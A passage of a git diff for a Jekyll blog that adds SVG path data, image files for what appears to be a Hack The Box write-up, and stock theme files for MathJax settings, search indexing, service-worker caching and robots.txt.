-6 -3 -10 -2 -9 3 3 9 -127 112 -141 112 -4 0 -16 9 -26 20 -10 11 -24 20 -32
|
||||
20 -8 0 -11 5 -8 10 3 6 0 10 -7 10 -8 0 -33 18 -56 40 -22 22 -46 40 -52 40
|
||||
-5 0 -10 4 -10 10 0 5 -16 20 -36 34 -19 13 -34 25 -33 27 4 5 -39 53 -105
|
||||
120 -27 27 -46 49 -43 49 3 0 -11 19 -33 42 -21 23 -36 46 -34 50 3 4 1 8 -5
|
||||
8 -5 0 -24 24 -41 54 -17 30 -34 56 -38 58 -11 5 -82 116 -82 128 0 10 -7 20
|
||||
-36 53 -6 7 -9 18 -6 25 2 7 -4 22 -14 33 -9 10 -14 19 -11 19 7 0 -18 48 -53
|
||||
105 -10 17 -19 42 -19 57 -1 14 -5 28 -11 30 -5 2 -11 12 -13 23 -2 11 -11 36
|
||||
-19 55 -9 19 -21 60 -28 90 -6 30 -18 69 -25 85 -17 37 -43 152 -49 220 -3 28
|
||||
-9 75 -13 105 -4 30 -8 156 -8 280 0 232 19 418 52 523 8 26 12 54 9 62 -3 8
|
||||
-1 17 4 20 7 4 22 63 24 97 1 4 7 13 14 19 6 7 12 26 12 41 0 16 4 36 9 46 21
|
||||
41 45 98 48 114 3 18 82 181 150 308 22 42 67 112 100 155 33 44 73 99 90 122
|
||||
16 24 33 40 36 36 4 -3 7 -1 7 5 0 6 52 63 116 126 76 76 113 120 108 128 -6
|
||||
10 -5 10 7 1 12 -10 17 -8 26 6 12 19 206 168 283 217 25 16 48 32 51 37 3 4
|
||||
16 9 27 10 12 1 22 4 22 7 0 3 21 17 48 30 26 14 53 29 61 34 7 6 20 11 29 12
|
||||
17 3 84 36 92 45 4 5 41 16 80 24 3 0 28 11 55 24 28 13 69 25 92 28 24 3 41
|
||||
9 38 13 -2 4 11 7 29 8 18 1 45 6 61 12 34 13 99 28 151 34 21 3 71 10 109 16
|
||||
39 7 124 14 190 16 66 3 127 6 135 7 20 4 93 1 210 -7z m-41 -786 c48 -6 113
|
||||
-17 146 -26 33 -8 74 -17 90 -20 17 -3 50 -14 75 -23 25 -10 63 -24 85 -31 22
|
||||
-7 72 -29 110 -48 39 -19 85 -42 103 -50 17 -9 32 -20 32 -24 0 -4 6 -8 13 -8
|
||||
8 0 22 -9 32 -20 10 -11 22 -20 28 -20 5 0 26 -13 47 -30 21 -16 40 -30 43
|
||||
-30 4 0 33 -27 66 -60 33 -33 65 -60 71 -60 5 0 10 -5 10 -11 0 -7 10 -22 23
|
||||
-34 12 -12 32 -35 45 -51 58 -76 74 -94 81 -89 4 2 8 -1 8 -8 0 -7 28 -58 61
|
||||
-114 34 -56 62 -109 62 -117 0 -8 7 -22 16 -30 8 -9 13 -16 9 -16 -3 0 1 -10
|
||||
9 -22 9 -12 16 -32 16 -43 0 -12 5 -26 10 -31 15 -15 46 -106 43 -124 -3 -13
|
||||
-130 -15 -1081 -13 -592 2 -1279 4 -1527 5 l-450 3 -3 27 c-2 15 4 40 12 56
|
||||
14 27 26 70 28 100 1 6 7 12 15 12 7 0 12 3 11 8 -3 17 37 104 69 148 13 17
|
||||
23 36 23 42 0 6 6 17 13 24 16 17 50 78 43 78 -3 0 8 14 24 32 16 17 26 36 23
|
||||
41 -3 6 -2 7 4 4 9 -6 18 4 83 87 16 21 30 36 30 33 0 -3 15 8 33 24 17 17 47
|
||||
42 64 56 18 14 30 30 26 36 -3 6 -1 7 5 3 7 -4 12 -2 12 5 0 7 3 10 6 6 3 -3
|
||||
15 3 27 14 11 10 27 19 34 19 7 0 13 7 13 15 0 8 3 14 8 13 13 -4 52 13 52 23
|
||||
0 5 7 9 15 9 8 0 15 4 15 8 0 10 55 42 82 47 12 3 25 10 30 17 4 7 8 9 8 5 0
|
||||
-5 7 -1 16 7 8 9 23 16 33 16 9 0 22 5 29 12 7 7 12 8 12 4 0 -5 6 -3 14 3 19
|
||||
16 147 61 174 61 13 0 35 6 50 14 15 7 52 16 82 20 30 4 75 10 100 15 65 12
|
||||
310 13 409 1z m-1824 -3580 c-3 -5 -12 -10 -18 -10 -7 0 -6 4 3 10 19 12 23
|
||||
12 15 0z"/>
|
||||
<path d="M3373 3176 c-29 -7 -53 -10 -53 -7 0 3 -6 -1 -13 -10 -7 -9 -23 -19
|
||||
-37 -22 -38 -9 -95 -65 -135 -131 -36 -60 -38 -79 -7 -60 86 52 177 91 228 98
|
||||
76 11 134 10 147 -3 6 -6 18 -11 26 -11 20 0 142 -61 173 -88 26 -21 28 -1 3
|
||||
47 -32 63 -110 145 -130 138 -8 -4 -15 -2 -15 3 0 9 -49 34 -85 43 -11 3 -27
|
||||
7 -35 10 -8 3 -39 0 -67 -7z m-115 -111 c-3 -3 -9 2 -12 12 -6 14 -5 15 5 6 7
|
||||
-7 10 -15 7 -18z m12 -19 c0 -2 -7 -7 -16 -10 -8 -3 -12 -2 -9 4 6 10 25 14
|
||||
25 6z"/>
|
||||
<path d="M2249 3169 c-25 -4 -54 -12 -65 -17 -16 -9 -43 -19 -59 -22 -6 -2
|
||||
-85 -82 -85 -87 0 -2 -9 -14 -20 -26 -40 -42 -66 -113 -32 -86 69 56 196 106
|
||||
272 108 66 2 200 -26 200 -42 0 -4 4 -6 8 -3 5 3 34 -10 65 -29 59 -36 70 -31
|
||||
43 19 -13 25 -89 109 -118 131 -56 42 -141 64 -209 54z"/>
|
||||
<path d="M1530 2820 c-10 -6 -8 -42 1 -50 4 -3 9 -21 12 -40 3 -19 10 -47 16
|
||||
-62 6 -16 8 -28 5 -28 -4 0 -1 -6 5 -13 6 -8 8 -17 4 -20 -3 -4 -2 -7 4 -7 6
|
||||
0 14 -17 18 -37 3 -21 15 -56 25 -78 10 -22 20 -47 22 -55 2 -8 11 -23 21 -34
|
||||
9 -11 17 -26 17 -34 0 -8 10 -28 22 -45 13 -18 23 -34 23 -37 0 -10 32 -50 36
|
||||
-45 3 2 5 -4 6 -14 2 -20 65 -93 153 -177 95 -91 112 -105 118 -99 3 3 16 -4
|
||||
28 -16 27 -25 50 -40 114 -70 25 -12 56 -29 69 -38 13 -8 31 -16 39 -17 8 -2
|
||||
18 -8 22 -14 5 -8 96 -29 128 -30 2 0 0 -6 -4 -12 -4 -7 -4 -10 0 -6 4 3 22 2
|
||||
39 -3 95 -29 188 -40 357 -44 157 -3 220 4 320 33 30 9 60 17 65 18 6 1 12 3
|
||||
15 4 3 1 16 3 30 4 14 2 43 10 65 20 87 38 111 49 136 62 14 7 29 11 33 7 3
|
||||
-3 6 -1 6 5 0 6 16 19 35 28 19 9 35 21 35 26 0 5 5 6 10 3 6 -3 10 -1 10 5 0
|
||||
6 4 9 8 6 11 -6 93 59 85 68 -3 3 3 6 13 6 11 0 49 28 85 63 73 70 151 155
|
||||
132 143 -9 -5 -11 -2 -7 9 4 9 9 13 12 10 6 -5 29 25 30 39 0 5 4 12 9 15 12
|
||||
8 73 98 73 107 0 4 15 39 34 78 41 86 72 169 82 216 3 19 12 46 19 60 7 14 15
|
||||
40 18 58 l7 32 -658 2 c-1507 3 -1994 3 -2002 -2z m2313 -259 c9 -9 -17 -67
|
||||
-62 -136 -34 -52 -34 -52 -81 -108 -22 -27 -40 -52 -40 -58 0 -5 -4 -9 -9 -9
|
||||
-5 0 -24 -14 -42 -31 -19 -18 -51 -42 -71 -56 -21 -13 -38 -28 -38 -34 0 -6
|
||||
-7 -8 -15 -5 -9 3 -18 -1 -21 -8 -3 -8 -23 -22 -45 -30 -21 -9 -39 -20 -39
|
||||
-26 0 -5 -6 -7 -14 -4 -8 3 -17 1 -21 -5 -3 -6 -15 -11 -25 -11 -10 0 -20 -5
|
||||
-22 -10 -2 -6 -16 -13 -32 -16 -16 -3 -36 -9 -46 -14 -9 -5 -54 -19 -100 -31
|
||||
-71 -19 -113 -22 -250 -23 -91 -1 -193 2 -227 7 -77 9 -222 50 -290 83 -28 13
|
||||
-57 24 -62 24 -6 0 -11 5 -11 10 0 6 -8 13 -17 17 -46 17 -120 76 -240 192
|
||||
-56 54 -163 232 -163 271 0 14 8 20 33 22 78 7 1942 -3 1950 -11z"/>
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 17 KiB |
BIN
assets/img/htb-writeup-keeper/keeper10.png
Normal file
After Width: | Height: | Size: 190 KiB |
BIN
assets/img/htb-writeup-keeper/keeper11.png
Normal file
After Width: | Height: | Size: 82 KiB |
BIN
assets/img/htb-writeup-keeper/keeper12.png
Normal file
After Width: | Height: | Size: 333 KiB |
BIN
assets/img/htb-writeup-keeper/keeper2.png
Normal file
After Width: | Height: | Size: 316 KiB |
BIN
assets/img/htb-writeup-keeper/keeper3.png
Normal file
After Width: | Height: | Size: 100 KiB |
BIN
assets/img/htb-writeup-keeper/keeper4.png
Normal file
After Width: | Height: | Size: 51 KiB |
BIN
assets/img/htb-writeup-keeper/keeper5.png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
assets/img/htb-writeup-keeper/keeper6.png
Normal file
After Width: | Height: | Size: 108 KiB |
BIN
assets/img/htb-writeup-keeper/keeper7.png
Normal file
After Width: | Height: | Size: 266 KiB |
BIN
assets/img/htb-writeup-keeper/keeper8.png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
assets/img/htb-writeup-keeper/keeper9.png
Normal file
After Width: | Height: | Size: 102 KiB |
BIN
assets/img/htb-writeup-keeper/keeper_logo.png
Normal file
After Width: | Height: | Size: 237 KiB |
BIN
assets/img/laughing_man1.png
Normal file
After Width: | Height: | Size: 19 KiB |
25
assets/js/data/mathjax.js
Normal file
@ -0,0 +1,25 @@
|
||||
---
|
||||
layout: compress
|
||||
# WARNING: Don't use '//' to comment out code, use '{% comment %}' and '{% endcomment %}' instead.
|
||||
---
|
||||
|
||||
{%- comment -%}
|
||||
See: <https://docs.mathjax.org/en/latest/options/input/tex.html#tex-options>
|
||||
{%- endcomment -%}
|
||||
|
||||
MathJax = {
|
||||
tex: {
|
||||
{%- comment -%} start/end delimiter pairs for in-line math {%- endcomment -%}
|
||||
inlineMath: [
|
||||
['$', '$'],
|
||||
['\\(', '\\)']
|
||||
],
|
||||
{%- comment -%} start/end delimiter pairs for display math {%- endcomment -%}
|
||||
displayMath: [
|
||||
['$$', '$$'],
|
||||
['\\[', '\\]']
|
||||
],
|
||||
{%- comment -%} equation numbering {%- endcomment -%}
|
||||
tags: 'ams'
|
||||
}
|
||||
};
|
20
assets/js/data/search.json
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
layout: compress
|
||||
swcache: true
|
||||
---
|
||||
|
||||
[
|
||||
{% for post in site.posts %}
|
||||
{
|
||||
"title": {{ post.title | jsonify }},
|
||||
"url": {{ post.url | relative_url | jsonify }},
|
||||
"categories": {{ post.categories | join: ', ' | jsonify }},
|
||||
"tags": {{ post.tags | join: ', ' | jsonify }},
|
||||
"date": "{{ post.date }}",
|
||||
{% include no-linenos.html content=post.content %}
|
||||
{% assign _content = content | strip_html | strip_newlines %}
|
||||
"snippet": {{ _content | truncate: 200 | jsonify }},
|
||||
"content": {{ _content | jsonify }}
|
||||
}{% unless forloop.last %},{% endunless %}
|
||||
{% endfor %}
|
||||
]
|
47
assets/js/data/swconf.js
Normal file
@ -0,0 +1,47 @@
|
||||
---
|
||||
layout: compress
|
||||
permalink: '/:path/swconf.js'
|
||||
# Note that this file will be fetched by the ServiceWorker, so it will not be cached.
|
||||
---
|
||||
|
||||
const swconf = {
|
||||
{% if site.pwa.cache.enabled %}
|
||||
cacheName: 'chirpy-{{ "now" | date: "%s" }}',
|
||||
|
||||
{%- comment -%} Resources added to the cache during PWA installation. {%- endcomment -%}
|
||||
resources: [
|
||||
'{{ "/assets/css/:THEME.css" | replace: ':THEME', site.theme | relative_url }}',
|
||||
'{{ "/" | relative_url }}',
|
||||
{% for tab in site.tabs %}
|
||||
'{{- tab.url | relative_url -}}',
|
||||
{% endfor %}
|
||||
|
||||
{% assign cache_list = site.static_files | where: 'swcache', true %}
|
||||
{% for file in cache_list %}
|
||||
'{{ file.path | relative_url }}'{%- unless forloop.last -%},{%- endunless -%}
|
||||
{% endfor %}
|
||||
],
|
||||
|
||||
interceptor: {
|
||||
{%- comment -%} URLs containing the following paths will not be cached. {%- endcomment -%}
|
||||
paths: [
|
||||
{% for path in site.pwa.cache.deny_paths %}
|
||||
{% unless path == empty %}
|
||||
'{{ path | relative_url }}'{%- unless forloop.last -%},{%- endunless -%}
|
||||
{% endunless %}
|
||||
{% endfor %}
|
||||
],
|
||||
|
||||
{%- comment -%} URLs containing the following prefixes will not be cached. {%- endcomment -%}
|
||||
urlPrefixes: [
|
||||
{% if site.analytics.goatcounter.id != nil and site.pageviews.provider == 'goatcounter' %}
|
||||
'https://{{ site.analytics.goatcounter.id }}.goatcounter.com/counter/'
|
||||
{% endif %}
|
||||
]
|
||||
},
|
||||
|
||||
purge: false
|
||||
{% else %}
|
||||
purge: true
|
||||
{% endif %}
|
||||
};
|
10
assets/robots.txt
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
permalink: /robots.txt
|
||||
# The robots rules
|
||||
---
|
||||
|
||||
User-agent: *
|
||||
|
||||
Disallow: /norobots/
|
||||
|
||||
Sitemap: {{ '/sitemap.xml' | absolute_url }}
|